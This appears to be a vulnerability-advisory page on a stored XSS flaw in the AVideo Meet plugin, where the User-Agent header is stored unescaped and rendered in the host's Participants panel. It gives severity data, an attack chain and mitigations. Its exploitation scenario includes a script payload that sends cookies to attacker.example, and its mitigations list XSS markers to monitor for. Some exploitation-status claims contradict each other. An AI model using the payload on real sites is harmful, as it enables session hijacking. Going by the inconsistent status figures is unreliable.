CVE-2026-60092: stored XSS via unescaped User-Agent

Q: Is CVE-2026-60092 actively exploited?

No confirmed active exploitation of CVE-2026-60092 has been reported, but organizations should still patch proactively.

Q: What systems are affected by CVE-2026-60092?

This vulnerability affects the following AI/ML architecture patterns: model serving, web-based AI/ML admin and management UIs.

Q: What is the CVSS score for CVE-2026-60092?

CVE-2026-60092 has a CVSS v3.1 base score of 6.1 (MEDIUM). The EPSS exploitation probability is 0.35%.

CISO Take

An unauthenticated attacker can join any public AVideo Meet room and set a malicious User-Agent header, which the server persists unsanitized into meet_join_log.user_agent — bypassing the app's own setter-level xss_esc() layer — and later renders without htmlspecialchars() in the Participants management panel. That panel is only reachable by the meeting host or site admin, so the payload executes inside a privileged, authenticated session, giving classic stored-XSS blast radius (session hijack, CSRF-style admin actions) rather than any AI/ML pipeline compromise. There's no EPSS score, no CISA KEV listing, no public exploit code, and no Nuclei template — this is a freshly disclosed, unpatched bug with CVSS 6.1 (network, low complexity, no privileges, but requires the host to open the panel), so exploitation is opportunistic rather than imminent. Because it remains unpatched, CISOs running self-hosted AVideo/Meet instances for public or semi-public meetings should treat it as an open door: apply the compensating output-encoding fix below now, restrict public/anonymous join where feasible, and track GHSA-7cqp-7cfv-6c3q for an official patch before re-enabling unauthenticated meeting access.

Sources: NVD GitHub Advisory ATLAS vulncheck.com

What is the risk?

CVSS 3.1 base score 6.1 (medium) reflects network attack vector, low complexity, no privileges required, but mandatory user interaction (a host/admin must open the Participants panel) and a scope change (impact crosses from an anonymous participant into a privileged admin session). No EPSS percentile is available, the CVE is not in CISA KEV, there is no public PoC or Nuclei template, and the CISA SSVC decision is unset — all consistent with a just-disclosed, not-yet-weaponized bug. Real-world risk is driven almost entirely by exposure: instances that allow public/anonymous meeting joins and are actively used by hosts to review the participant list are meaningfully exposed until patched or hot-fixed.

How does the attack unfold?

Initial Access

Unauthenticated attacker joins a public AVideo meeting while supplying a crafted HTML/JS payload in the HTTP User-Agent header sent to getMeetInfo.json.php.

AML.T0049

Payload Persistence

The raw User-Agent value is stored into meet_join_log.user_agent without sanitization, bypassing the app's setter-level xss_esc() protection.

Trigger Execution

The meeting host or a site administrator opens the Participants management panel, where the stored payload is echoed without output encoding and executes in their authenticated browser.

Impact

The attacker's script runs in the privileged host/admin session context, enabling session/cookie theft or unauthorized actions performed as that host or administrator.

Initial Access

Unauthenticated attacker joins a public AVideo meeting while supplying a crafted HTML/JS payload in the HTTP User-Agent header sent to getMeetInfo.json.php.

AML.T0049

Payload Persistence

The raw User-Agent value is stored into meet_join_log.user_agent without sanitization, bypassing the app's setter-level xss_esc() protection.

Trigger Execution

The meeting host or a site administrator opens the Participants management panel, where the stored payload is echoed without output encoding and executes in their authenticated browser.

Impact

The attacker's script runs in the privileged host/admin session context, enabling session/cookie theft or unauthorized actions performed as that host or administrator.

How severe is it?

CVSS 3.1

6.1 / 10

EPSS

0.3%

chance of exploitation in 30 days

Higher than 27% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI Required

S Changed

C Low

I Low

A None

What should I do?

1 step

No official patch is available as of the report — apply output encoding (htmlspecialchars() or equivalent) at render time for meet_join_log.user_agent in the Participants panel template as an immediate hotfix, and additionally sanitize/validate the User-Agent header at ingestion in getMeetInfo.json.php rather than relying solely on the bypassed setter-level xss_esc(). As compensating controls: disable or restrict anonymous/public meeting join where business needs allow, deploy a restrictive Content-Security-Policy (script-src 'self', no inline execution) as defense-in-depth on admin/host-facing pages, and monitor meet_join_log for anomalous User-Agent values containing HTML/script markup (<script, onerror=, javascript:). Track GHSA-7cqp-7cfv-6c3q and the upstream commit history for an official fix and upgrade promptly once released.

What does CISA's SSVC say?

Decision Track*

Exploitation poc

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Auth Bypass Plugin AML.T0049 - Exploit Public-Facing Application

Which compliance frameworks are affected?

This CVE is relevant to:

ISO 42001

Clause 8.1 - Operational planning and control

NIST AI RMF

MEASURE 2.7 - AI system security and resilience are evaluated and documented

Frequently Asked Questions

What is CVE-2026-60092?

An unauthenticated attacker can join any public AVideo Meet room and set a malicious User-Agent header, which the server persists unsanitized into meet_join_log.user_agent — bypassing the app's own setter-level xss_esc() layer — and later renders without htmlspecialchars() in the Participants management panel. That panel is only reachable by the meeting host or site admin, so the payload executes inside a privileged, authenticated session, giving classic stored-XSS blast radius (session hijack, CSRF-style admin actions) rather than any AI/ML pipeline compromise. There's no EPSS score, no CISA KEV listing, no public exploit code, and no Nuclei template — this is a freshly disclosed, unpatched bug with CVSS 6.1 (network, low complexity, no privileges, but requires the host to open the panel), so exploitation is opportunistic rather than imminent. Because it remains unpatched, CISOs running self-hosted AVideo/Meet instances for public or semi-public meetings should treat it as an open door: apply the compensating output-encoding fix below now, restrict public/anonymous join where feasible, and track GHSA-7cqp-7cfv-6c3q for an official patch before re-enabling unauthenticated meeting access.

Is CVE-2026-60092 actively exploited?

No confirmed active exploitation of CVE-2026-60092 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-60092?

No official patch is available as of the report — apply output encoding (htmlspecialchars() or equivalent) at render time for meet_join_log.user_agent in the Participants panel template as an immediate hotfix, and additionally sanitize/validate the User-Agent header at ingestion in getMeetInfo.json.php rather than relying solely on the bypassed setter-level xss_esc(). As compensating controls: disable or restrict anonymous/public meeting join where business needs allow, deploy a restrictive Content-Security-Policy (script-src 'self', no inline execution) as defense-in-depth on admin/host-facing pages, and monitor meet_join_log for anomalous User-Agent values containing HTML/script markup (<script, onerror=, javascript:). Track GHSA-7cqp-7cfv-6c3q and the upstream commit history for an official fix and upgrade promptly once released.

What systems are affected by CVE-2026-60092?

This vulnerability affects the following AI/ML architecture patterns: model serving, web-based AI/ML admin and management UIs.

What is the CVSS score for CVE-2026-60092?

CVE-2026-60092 has a CVSS v3.1 base score of 6.1 (MEDIUM). The EPSS exploitation probability is 0.35%.

What is the AI security impact?

Affected AI Architectures

model servingweb-based AI/ML admin and management UIs

MITRE ATLAS Techniques

AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

ISO 42001: Clause 8.1

NIST AI RMF: MEASURE 2.7

What are the technical details?

Original Advisory

AVideo (Meet plugin) through commit e8d6119f3cb1b849149906efeb0a41fc024f59f8 contains a stored cross-site scripting vulnerability in the Meet plugin's getMeetInfo.json.php endpoint. When a participant joins a public meeting, the raw HTTP User-Agent header is stored (meet_join_log.user_agent) without sanitization (bypassing AVideo's setter-level xss_esc() layer) and later echoed without output encoding (no htmlspecialchars()) in the Participants management panel, which is accessible to the meeting host and site administrators. An anonymous, unauthenticated attacker can join any public meeting while supplying a User-Agent header containing an HTML/JavaScript payload; the payload is persisted and executes in the privileged, authenticated browser session of the meeting host or a site administrator when they open the participant list. The issue was unpatched at the time of the report.

Exploitation Scenario

An anonymous attacker joins any publicly accessible AVideo meeting and sends the join request with a crafted User-Agent header, e.g. containing <script>fetch('https://attacker.example/c?='+document.cookie)</script>. The getMeetInfo.json.php endpoint stores this raw value into meet_join_log.user_agent without sanitization. When the meeting host or a site administrator later opens the Participants management panel to review attendees, the stored payload is echoed without output encoding and executes in their authenticated browser session — allowing the attacker to exfiltrate session cookies/tokens, perform actions as the host/admin, or pivot into other privileged admin functionality.

Weaknesses (CWE)

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

[Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
[Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.